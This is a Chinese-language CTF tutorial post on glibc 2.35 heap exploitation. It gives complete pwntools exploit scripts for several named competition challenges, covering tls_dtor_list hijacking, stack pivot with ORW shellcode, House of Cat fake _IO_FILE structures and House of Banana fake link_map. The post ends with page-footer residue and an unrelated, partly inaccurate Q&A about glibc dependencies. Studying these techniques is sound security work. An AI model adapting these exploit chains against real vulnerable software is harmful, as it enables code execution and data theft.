glibc2.35 CTFPwn高版本下的堆块利用

运用exithook:

劫持tls_dtor_list:

例题(XYCTF2024 ptmalloc2 it‘s myheap pro):

题目的libc版本是2.35,在glibc2.34版本的时候我们常用的exithook(比如dl_rtld_lock_recursive和dl_rtld_unlock_recursive)就被删除了,所以在这道题里面我们劫持另一个exithook,tls_dtor_list,但这里和之前我们常用exithook不同,它并不是简单地覆盖就可以执行了,它的利用过程相较于之前常用的exithook更复杂。下面详细讲一下。

劫持tls_dtor_list:

函数调用链

exit
    __run_exit_handlers
        __call_tls_dtors
            func (cur->obj) 
Dump of assembler code for function __call_tls_dtors:
   0x00007ffff7c45d60 <+0>:     endbr64
   0x00007ffff7c45d64 <+4>:     push   rbp
   0x00007ffff7c45d65 <+5>:     push   rbx
   0x00007ffff7c45d66 <+6>:     sub    rsp,0x8
   0x00007ffff7c45d6a <+10>:    mov    rbx,QWORD PTR [rip+0x1d401f]        # 0x7ffff7e19d90
   0x00007ffff7c45d71 <+17>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45d75 <+21>:    test   rbp,rbp
   0x00007ffff7c45d78 <+24>:    je     0x7ffff7c45dbd <__call_tls_dtors+93>
   0x00007ffff7c45d7a <+26>:    nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7c45d80 <+32>:    mov    rdx,QWORD PTR [rbp+0x18]
   0x00007ffff7c45d84 <+36>:    mov    rax,QWORD PTR [rbp+0x0]
   0x00007ffff7c45d88 <+40>:    ror    rax,0x11
   0x00007ffff7c45d8c <+44>:    xor    rax,QWORD PTR fs:0x30
   0x00007ffff7c45d95 <+53>:    mov    QWORD PTR fs:[rbx],rdx
   0x00007ffff7c45d99 <+57>:    mov    rdi,QWORD PTR [rbp+0x8]
   0x00007ffff7c45d9d <+61>:    call   rax
   0x00007ffff7c45d9f <+63>:    mov    rax,QWORD PTR [rbp+0x10]
   0x00007ffff7c45da3 <+67>:    lock sub QWORD PTR [rax+0x468],0x1
   0x00007ffff7c45dac <+76>:    mov    rdi,rbp
   0x00007ffff7c45daf <+79>:    call   0x7ffff7c28370 <free@plt>
   0x00007ffff7c45db4 <+84>:    mov    rbp,QWORD PTR fs:[rbx]
   0x00007ffff7c45db8 <+88>:    test   rbp,rbp
   0x00007ffff7c45dbb <+91>:    jne    0x7ffff7c45d80 <__call_tls_dtors+32>
   0x00007ffff7c45dbd <+93>:    add    rsp,0x8
   0x00007ffff7c45dc1 <+97>:    pop    rbx
   0x00007ffff7c45dc2 <+98>:    pop    rbp
   0x00007ffff7c45dc3 <+99>:    ret
End of assembler dump.

__call_tls_dtors+10:将偏移值存入rbx

__call_tls_dtors+17:将fs基地址偏移后的地址的值存入rbp,也就是tls_dtor_list的值

__call_tls_dtors+21:判断tls_dtor_list是否为空,如果不为空则继续进行

__call_tls_dtors+36:将tls_dtor_list地址开始的前8个字节作为地址取值并传入rax

__call_tls_dtors+57:将tls_dtor_list地址开始,将+8到+16范围的值传入rdi

__call_tls_dtors+40:将rax的值循环右移17位

__call_tls_dtors+44:将rax的值与fs+0x30处的值异或

__call_tls_dtors+61:call rax

从以上看来,并不是直接call tls_dtor_list里的值,而是将tls_dtor_list前8字节当作地址取其值,存入rbp,再取rbp的值存入rax,再循环右移17位,再与fs+0x30的值异或,最后才call rax。

完整exp:

from pwn import*
p=process('./heappro')
free_got=0x403F98
manba=0x401700
 
def alloc(index,size,content):
    p.sendlineafter(b'>>>',str(1))
    p.sendlineafter(b'input chunk_idx:',str(index))
    p.sendlineafter(b'Enter chunk size:',str(size))
    p.sendafter(b'Enter chunk data:',content)
def free(index):
    p.sendlineafter(b'>>>',str(2))
    p.sendlineafter(b'Enter chunk id:',str(index))
def show(index):
    p.sendlineafter(b'>>>',str(3))
    p.sendlineafter(b'Enter chunk id:',str(index))
def exit():
    p.sendlineafter(b'>>>',str(4))
 
alloc(0,0x28,b'aa')
alloc(1,0x28,b'aa')
alloc(2,0x18,b'aa')
free(0)
free(1)
alloc(3,0x18,b'a'*0x10)
show(3)
p.recvuntil(b'a'*0x10)
heapbase=u64(p.recv(4).ljust(8,b'\x00'))-0x2c0
 
free(3)
alloc(3,0x18,p64(0)+p64(1)+p64(heapbase+0x2d0))
alloc(4,0x28,p64(0)*4)
alloc(5,0x28,p64(0x30)+p64(0x91)*3)
 
for i in range(6,13):
    alloc(i,0x80,b'aa')
for i in range(6,13):
    free(i)
free(1)
show(5)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x21ace0 
print("libcbase=="+hex(libcbase))
for i in range(6,13):
    alloc(i,0x80,b'aa')
alloc(1,0x80,b'aa')
alloc(14,0x28,b'aa')
free(14)
free(4)
show(1)
p.recvuntil(b'\x00\x31')
p.recv(15)
key=u64(p.recv(8))
free(1)
tls_dtor_list8=libcbase-0x2920
print("tls_dtor_list=="+hex(tls_dtor_list8))
fd=(heapbase>>12)^tls_dtor_list8
print("fd=="+hex(fd))
print("heapbase >> 12=="+hex(heapbase >> 12))
payload=p64(0)*3+p64(0x21)+p64(heapbase>>12)+p64(0)
payload+=p64(heapbase+0x3c0)+p64(0x31)+p64(fd)+p64(key)
alloc(1,0x80,payload)
alloc(14,0x28,b'aa')
free(6)
free(7)
fs30_addr=libcbase-0x2890
print("fs+30=="+hex(fs30_addr))
payload=p64(0x10)+p64(1)+p64(fs30_addr-0x8)
alloc(4,0x18,payload)
show(6)
p.recvuntil(b'\x00')
p.recv(7)
fs30=u64(p.recv(8))
 
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
system=system^fs30
system=bin(system)[2:].zfill(64)
system=int(system[17:]+system[:17],2)
payload=p64(system)+p64(binsh)
free(3)
alloc(3,0x18,payload)
payload=p64(0)+p64(heapbase+0x2a0)
alloc(15,0x28,payload)
exit()
p.interactive()

 #补充1:这里的tls_dtor_list8是tls_dtor_list-0x8,因为创建堆块的性质,所以选择在-0x8处创建堆块,tls_dtor_list的地址可以用gdb找出。

#补充2:最后system进行的是循环左移,与逻辑左移不同

#补充3:在glibc2.35中,只有覆盖fd为目标地址与heapbase>>12的值,才能正确地将fd设置为目标地址。

#补充4:因为__call_tls_dtors是将tls_dtor_list前8字节当作地址取其值,存入rbp,再取rbp的值存入rax,所以要覆盖tls_dtor_list为存有system的堆块地址。

#补充5:fs的基地址也可以用gdb找出,用fsbase命令。

#补充5:这里之所以可以覆盖fd是因为利用了程序,最开始先控制两个0x20大小的堆块,将将要伪造的堆块的地址填到程序申请堆块的地址,然后再填充0x91到size位伪造堆块,将对应的0x20大小堆块以及伪造堆块分别放到fastbin和unsortedbin,后面再申请0x80就可以得到一个不破坏堆块结构的0x80大小的堆块了。

栈迁移+ORW:

例题(XYCTF2024 ptmalloc2 it‘s myheap plus):

泄露libc和堆地址就不多说了,fastbin duf也不解释了。这里主要是利用fastbin duf在environ附近创建堆块,泄露environ中的栈地址,然后就利用fastbin duf修改rbp和返回地址进行栈迁移了,迁移目标地址是我们填充ROP的堆块地址(栈迁移前要完成修改堆块地址处权限、将ROP填充到堆块中。

完整exp:


from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./heapplus')
p=remote('gz.imxbt.cn',20680)
 
def alloc(index,size,content):
    p.sendlineafter(b'>>>',bytes(str(1).encode('utf-8')))
    p.sendlineafter(b'chunk_idx:',bytes(str(index).encode('utf-8')))
    p.sendlineafter(b'size: ',bytes(str(size).encode('utf-8')))
    p.sendafter(b'data:',content)
def free(index):
    p.sendlineafter(b'>>>',bytes(str(2).encode('utf-8')))
    p.sendlineafter(b'chunk id:',bytes(str(index).encode('utf-8')))
def show(index):
    p.sendlineafter(b'>>>',bytes(str(3).encode('utf-8')))
    p.sendlineafter(b'chunk id:',bytes(str(index).encode('utf-8')))
def exit():
    p.sendlineafter(b'>>>',bytes(str(4).encode('utf-8')))
 
for i in range(7):
    alloc(i,0x80,b'aaaa')
alloc(7,0x80,b'aaaa')
alloc(8,0x80,b'aaaa')
alloc(9,0x80,b'aaaa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x80,b'aaaa')
alloc(10,0x18,p64(0x80)+p64(1))
show(7)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-(0x750dcd21ace0-0x750dcd000000)
show(10)
p.recv(8)
p.recv(8)
p.recv(8)
heapbase=u64(p.recv(8))- (0x57369a90c870 - 0x57369a90b000)
print(hex(heapbase))
for i in range(7):
    alloc(i,0x68,b'aa')
alloc(7,0x68,b'aa')
alloc(8,0x68,b'aa')
alloc(9,0x68,b'aa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x68,b'aa')
alloc(10,0x18,p64(0x68)+p64(1))
for i in range(7):
    free(i)
free(7)
for i in range(7):
    alloc(i,0x68,b'aaaa')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
environ=libcbase+libc.sym['__environ']
pos=heapbase+(0x5a28a79cbb30-0x5a28a79cb000)
target=(pos>>12)^(environ-0x10)
alloc(7,0x68,p64(target))
alloc(8,0x68,b'aa')
alloc(7,0x68,b'aa')
alloc(7,0x68,b'a'*0x10)
show(7)
p.recvuntil(b'a'*0x10)
onestack=u64(p.recv(8))
rbp=onestack-(0x7ffecf5425e8-0x7ffecf5424c0)
rsp=onestack-(0x7ffecf5425e8-0x7ffecf5424c8)
for i in range(7):
    alloc(i,0x58,b'aa')
alloc(7,0x58,b'aa')
alloc(8,0x58,b'aa')
alloc(9,0x58,b'aa')
for i in range(7):
    free(i)
free(7)
free(8)
for i in range(7):
    alloc(i,0x58,b'aa')
alloc(10,0x18,p64(0x58)+p64(1))
for i in range(7):
    free(i)
free(7)
for i in range(7):
    alloc(i,0x58,b'aa')
ret=libcbase+0x0000000000029139
leave_ret=libcbase+0x000000000004da83
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rcx=libcbase+0x000000000003d1ee
pop_r8=libcbase+0x00000000001659e6
reads=libcbase+libc.sym['read']
mmap=libcbase+libc.sym['mmap']
mprotect=libcbase+libc.sym['mprotect']
block_addr=heapbase+(0x5acfdfaa5010-0x5acfdfaa3000)
block_addr2=heapbase+(0x5c22450170c0-0x5c2245015000)
payload=p64(pop_rdi)+p64(heapbase)
payload+=p64(pop_rsi)+p64(0x21000)
payload+=p64(pop_rdx_r12)+p64(7)+p64(0)
payload+=p64(mprotect)
payload+=p64(block_addr2+0x10)
alloc(11,0x80,payload)
 
payload=b'flag'
payload=payload.ljust(0x10,b'\x00')
payload+=asm(f'''
mov rdi,{block_addr2}
mov rsi,0
mov rax,2
syscall
mov rdi,3
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,0
syscall
mov rdi,1
mov rsi,{block_addr2}
mov rdx,0x40
mov rax,1
syscall
''')
alloc(12,0x80,payload)
pos=heapbase+(0x644695eefeb0-0x644695eee000)
alloc(7,0x58,p64((rbp)^(pos>>12)))
alloc(8,0x58,b'aa')
alloc(7,0x58,b'aa')
alloc(7,0x58,p64(block_addr-0x8)+p64(leave_ret))
exit()
 
p.interactive()

House of Cat:

原理:

调用顺序:
exit->_IO_wfile_jumps->_IO_wfile_seekoff->_IO_switch_to_wget_mode

 _IO_wfile_seekoff源码:

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  if (mode == 0)
    return do_ftell_wide (fp);

  int must_be_exact = ((fp->_wide_data->_IO_read_base
			== fp->_wide_data->_IO_read_end)
		       && (fp->_wide_data->_IO_write_base
			   == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
		       > fp->_wide_data->_IO_write_base)
		      || _IO_in_put_mode (fp));
    
  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
    ......
}
libc_hidden_def (_IO_wfile_seekoff)

 _IO_switch_to_wget_mode源码:

int
_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
  ......
}
0x7ffff7c83cb0 <_IO_switch_to_wget_mode>        endbr64 
0x7ffff7c83cb4 <_IO_switch_to_wget_mode+4>      mov    rax, qword ptr [rdi + 0xa0]
0x7ffff7c83cbb <_IO_switch_to_wget_mode+11>     push   rbx
0x7ffff7c83cbc <_IO_switch_to_wget_mode+12>     mov    rbx, rdi
0x7ffff7c83cbf <_IO_switch_to_wget_mode+15>     mov    rdx, qword ptr [rax + 0x20]
0x7ffff7c83cc3 <_IO_switch_to_wget_mode+19>     cmp    rdx, qword ptr [rax + 0x18]
0x7ffff7c83cc7 <_IO_switch_to_wget_mode+23>     jbe    _IO_switch_to_wget_mode+56
0x7ffff7c83cc9 (_IO_switch_to_wget_mode+25) ◂— mov rax, qword ptr [rax + 0xe0]
0x7ffff7c83cd5 (_IO_switch_to_wget_mode+37) ◂— call qword ptr [rax + 0x18]

我们可以伪造_IO_FILE结构体,我们可以控制执行流

#  rax1=[rdi+0xa0]

#  rdx=[rax+0x20]

#  rax2=[rax+0xe0]

#  call [rax+0x18]

fake_IO_FILE=p64(pop_rdi) #需修改地址
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)#rax2

fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2 #需修改地址
fake_IO_FILE+=p64(ret)

这里伪造_IO_FILE结构体可以直接照着模板写 

例题(ciscn2024 初赛 EzHeap):

环境:glibc 2.35

知识点:堆溢出、House of Cat

###解题思路:

利用largebin泄露出libc地址和heap地址,利用堆溢出在_IO_list_all处写入伪造_IO_FILE结构体地址,在某一堆块伪造_IO_FILE地址,在某一堆块写入orw,exit触发IO流完成ORW。

gdb查看结构体操作:

###伪造后的_IO_FILE结构体:

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./ezheap')

def alloc(size,content):
    p.sendlineafter(b'>>',b'1')
    p.sendlineafter(b'size:',str(size).encode('utf-8'))
    p.sendafter(b'content',content)
def free(index):
    p.sendlineafter(b'>>',b'2')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))
def edit(index,content):
    p.sendlineafter(b'>>',b'3')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))
    p.sendlineafter(b'size:',str(len(content)).encode('utf-8'))
    p.sendafter(b'content',content)
def show(index):
    p.sendlineafter(b'>>',b'4')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))

def gdbs():
    gdb.attach(p)
    pause()

alloc(0x200,b'aa')
alloc(0x420,b'aa')
alloc(0x420,b'aa')
free(1)
alloc(0x440,b'aa')
show(0)
payload=b'a'*0x210
edit(0,payload)
show(0)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libcbase=onelibc-0x21b0d0

payload=b'a'*0x220
edit(0,payload)
show(0)
p.recvuntil(b'a'*0x220)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x2510
payload=b'a'*0x200+p64(0)+p64(0x431)
edit(0,payload)
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')#11
free(11)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
IO_list_all=libcbase+libc.sym['_IO_list_all']
payload=b'a'*0x60+p64(0)+p64(0x71)+p64(((heapbase+0x19f0)>>12)^(IO_list_all))+p64(0)
edit(3,payload)

chunk0=heapbase+0x2300
chunk1=heapbase+0x2d80
chunk2=heapbase+0x2950
chunknew=heapbase+0x19f0

fake_IO_FILE_addr=chunk0+0x10
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rax=libcbase+0x0000000000045eb0
syscall=libcbase+0x91316

_IO_wfile_jumps=libcbase+0x2170c0
setcontext=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
flag_addr=chunknew+0x10
orw_addr=chunk2+0x10

fake_IO_FILE=p64(pop_rdi)
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)

fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2
fake_IO_FILE+=p64(ret)
edit(0,fake_IO_FILE)

orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
edit(2,orw)

print("orw="+hex(orw_addr))
print("setcontext3d="+hex(setcontext+0x3d))
print("pop_rdi="+hex(pop_rdi))
alloc(0x60,b'flag\x00')#flag_addr
alloc(0x60,p64(fake_IO_FILE_addr))
p.sendlineafter(b'>>',b'5')

p.interactive()

House of Banana:

例题(ISCC2024 heapheap):

delete存在uaf漏洞

largebin attack手法:

#创建4个堆块,其中第1个堆块和第3个堆块为可入largebin大小,第3个堆块大小小于第一个堆块,剩余的两个为保护堆块,大小适当即可

#释放堆块1,申请一个比堆块1更大的堆块

#释放堆块3

#修改堆块1的bk_nextsize为目标地址-0x20

#再申请一个比堆块1大的堆块,向目标地址写入堆块3的地址

伪造link_map:

link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr 此处为指针数组array
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29] 此处除以8为i
link_map+=b"flag\x00\x00\x00\x00" #array[0]
link_map+=p64(chunk_base) #chunkbase为伪造link map的地址
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) #此处为ret 单纯只是ret
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68 read第一个参数
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70 此处为read的第二个参数
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88 此处为read第三个参数
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480 在setcontext执行后为rsp
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8 setcontext会跳转执行rcx
link_map+=p64(0)*36
link_map+=p64(0x800000000)

伪造link map主要是想利用结构体中的函数执行array[i]()

也就是执行read,将orw写入目标地址

这里可以直接照模板写

gdb查看原有link map操作:

rtld_global的指针是指向link map结构体的,所以可以查看其内容知道link map地址

输入命令:x/4gx &_rtld_global

输入命令:p *((struct link_map*)0x00007f9e6b7cd190)

完整exp:

from pwn import*
context(arch='amd64')
p=process('./heapheap')

def alloc(index,size):
    p.sendlineafter(b'Your choice:', b'1')
    p.sendlineafter(b"index:\n", str(index).encode())
    p.sendlineafter(b"Size:\n", str(size).encode())
def show(index):
    p.sendlineafter(b'Your choice:\n', b'2')
    p.sendlineafter(b"index:\n", str(index).encode())
    p.recvline()
def edit(index,content):
    p.sendlineafter(b'Your choice:', b'3')
    p.sendlineafter(b"index:", str(index).encode())
    p.sendafter(b"context:",content)
def free(index):
    p.sendlineafter(b'Your choice:', b'4')
    p.sendlineafter(b"index:\n", str(index).encode())

alloc(0,0x428)
alloc(1,0x500)
alloc(2,0x418)
free(0)
alloc(3,0x500)
show(0)
fd=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('./libc-2.31.so')
libcbase=fd-0x430-0x30-libc.sym['__malloc_hook']
success("libcbase="+hex(libcbase))
payload=b'a'*0x10
edit(0,payload)
show(0)
p.recv(0x10)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x290
rtld_global=libcbase+0x228060-0x6000
free(2)
chunk_base=heapbase+0xbd0
print("l_next="+hex(rtld_global+0x16e0))
print("l_real="+hex(chunk_base))
print("l-info[26]="+hex(chunk_base+0x110))
print("l-info[27]="+hex(chunk_base+0x110+0x20))
print("rsp="+hex(chunk_base+0x1f8))
print("setcontext_3d="+hex(libcbase+libc.sym['setcontext']+0x3d))
print("pop_rdi="+hex(libcbase+0x23b6a))
print("chunkbase="+hex(chunk_base))
print("read="+hex(libc.sym['read']))
payload=p64(fd)*2+p64(oneheap)+p64(rtld_global-0x20)
edit(0,payload)
alloc(4,0x500)
pop_rdi=libcbase+0x23b6a
pop_rsi=libcbase+0x2601f
pop_rdx=libcbase+0x119431
setcontext_3d=libcbase+libc.sym['setcontext']+0x3d
l_next=rtld_global+0x16e0

link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29]
link_map+=b"flag\x00\x00\x00\x00"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) 
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8
link_map+=p64(0)*36
link_map+=p64(0x800000000)
edit(2,link_map)
p.sendlineafter(b'Your choice:',b'5')
flag_addr = chunk_base+0x130
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(libcbase+libc.sym['open'])
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['read'])
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['write'])
p.send(orw)
p.interactive()

持续更新

  • 15
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: glibc-2.35是一个C标准库,它是Linux系统中最基本的系统库之一。在编译和运行程序时,可能会依赖于glibc-2.35库和其他一些相关的库。下面是一些常见的glibc-2.35依赖库: 1. libpthread.so.0:线程库,提供线程管理相关的函数。 2. libm.so.6:数学库,提供数学函数,如sin、cos、sqrt等。 3. libdl.so.2:动态链接库,提供动态链接相关的函数。 4. libcrypt.so.1:密码库,提供密码相关的函数,如加密、解密等。 5. librt.so.1:实时库,提供实时相关的函数。 6. libnsl.so.1:网络库,提供网络相关的函数。 7. libresolv.so.2:DNS库,提供DNS相关的函数。 这些库都是Linux系统中常见的系统库,它们通常都已经预装在系统中。如果你需要使用某个库,可以通过安装相应的开发包来获得。例如,在Debian/Ubuntu系统中,可以使用以下命令来安装libpthread库的开发包: ``` sudo apt-get update sudo apt-get install libpthread-stubs0-dev ``` 在CentOS/RHEL系统中安装: ``` sudo yum update sudo yum install glibc-devel ``` 这样就可以安装相应的开发包,并在编译和运行程序时使用它们。 ### 回答2: glibc-2.35是Linux系统中的一个重要软件库,提供了许多基本的系统函数和接口。它是一个底层库,许多其他程序依赖于它来运行。 glibc-2.35依赖的库主要有以下几个: 1. Linux内核:作为操作系统的核心,glibc-2.35需要与Linux内核紧密配合工作。 2. libgcc:是GCC(GNU编译器套件)的一部分,提供了一些编译时和运行时的支持库。glibc-2.35需要依赖libgcc来进行一些底层操作。 3. libpthread:是POSIX线程库的实现之一,提供对线程的支持。glibc-2.35中的线程相关函数需要依赖libpthread库。 4. libdl:是动态加载库,提供了运行时动态加载共享库的接口。glibc-2.35使用libdl来加载和调用共享库。 5. libm:是数学库,提供数学运算函数。glibc-2.35的一些数学函数需要依赖libm来完成数学计算。 除了以上列举的几个库外,glibc-2.35还可能依赖其他一些系统库,如librt(实时库,提供对实时操作系统特性的支持)、libresolv(解析域名的库)等,具体依赖的库可能因系统配置和环境而有所不同。 总之,glibc-2.35作为一个基础库,依赖于Linux内核和其他一些系统库来提供各种功能和接口,确保了系统的正常运行和其他程序的稳定性。 ### 回答3: glibc-2.35是GNU C库(Glibc)的一个特定版本。它是一个开源的C库,为Linux操作系统提供了基本的操作和功能接口。glibc-2.35是该库的一个更新版本,它引入了许多新的特性和改进。 glibc-2.35依赖的库包括: 1. Linux内核(kernel):glibc-2.35需要与Linux操作系统内核进行交互,以实现底层的系统调用和服务。 2. libgcc:glibc-2.35依赖于GNU编译器集合(GCC)的共享库,这些库提供了编译和链接C程序所需的基础功能。 3. zlib:glibc-2.35使用zlib库来提供数据压缩和解压缩的功能。这对于处理压缩数据流非常有用,例如在网络传输或文件压缩中。 4. libpthread:glibc-2.35使用libpthread库来支持多线程操作。这个库提供了创建、同步和管理线程的功能,以实现并发执行的能力。 5. libm:glibc-2.35依赖于数学库libm,它提供了常见的数学函数和运算,例如三角函数、指数函数、对数函数等。 6. libdl:glibc-2.35使用libdl库来支持动态加载共享库的功能。这对于运行时动态加载的程序非常重要,因为它允许程序根据需要加载额外的代码库。 以上是glibc-2.35 依赖的一些常见库,还有其他一些可能的依赖库取决于具体的配置和需求。这些依赖库提供了glibc-2.35所需的功能和支持,使其成为一个完整的操作系统开发和执行环境。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值